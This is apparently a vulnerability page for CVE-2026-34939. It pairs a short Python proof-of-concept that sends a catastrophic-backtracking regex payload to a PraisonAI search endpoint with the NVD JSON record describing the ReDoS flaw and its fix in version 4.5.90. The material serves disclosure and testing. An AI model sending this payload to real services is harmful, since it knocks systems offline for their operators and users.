CVE-2026-34939

import requests def exploit_redos(target_url): # A payload designed to cause catastrophic backtracking # Pattern: (a+)+$ matched against a string of 'a's malicious_payload = { "query": "(a+)+$" } # Data to trigger the backtracking # Assuming the API takes a input string to match against the regex # or the regex itself is the input. Based on description, the regex is caller-supplied. data = { "regex_pattern": "((a+)*)+$", "input_string": "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" } print(f"Sending ReDoS payload to {target_url}...") try: # Set a short timeout for the client to avoid hanging the tester's machine response = requests.post(target_url, json=data, timeout=10) print(f"Response code: {response.status_code}") except requests.exceptions.ReadTimeout: print("Potential successful DoS: Server did not respond within timeout.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint exploit_redos("http://localhost:8000/api/search_tools")

{"cve": {"id": "CVE-2026-34939", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:06.330", "lastModified": "2026-04-09T16:57:59.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.90", "matchCriteriaId": "072B6350-7972-417B-8540-DAAFF3230EC7"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}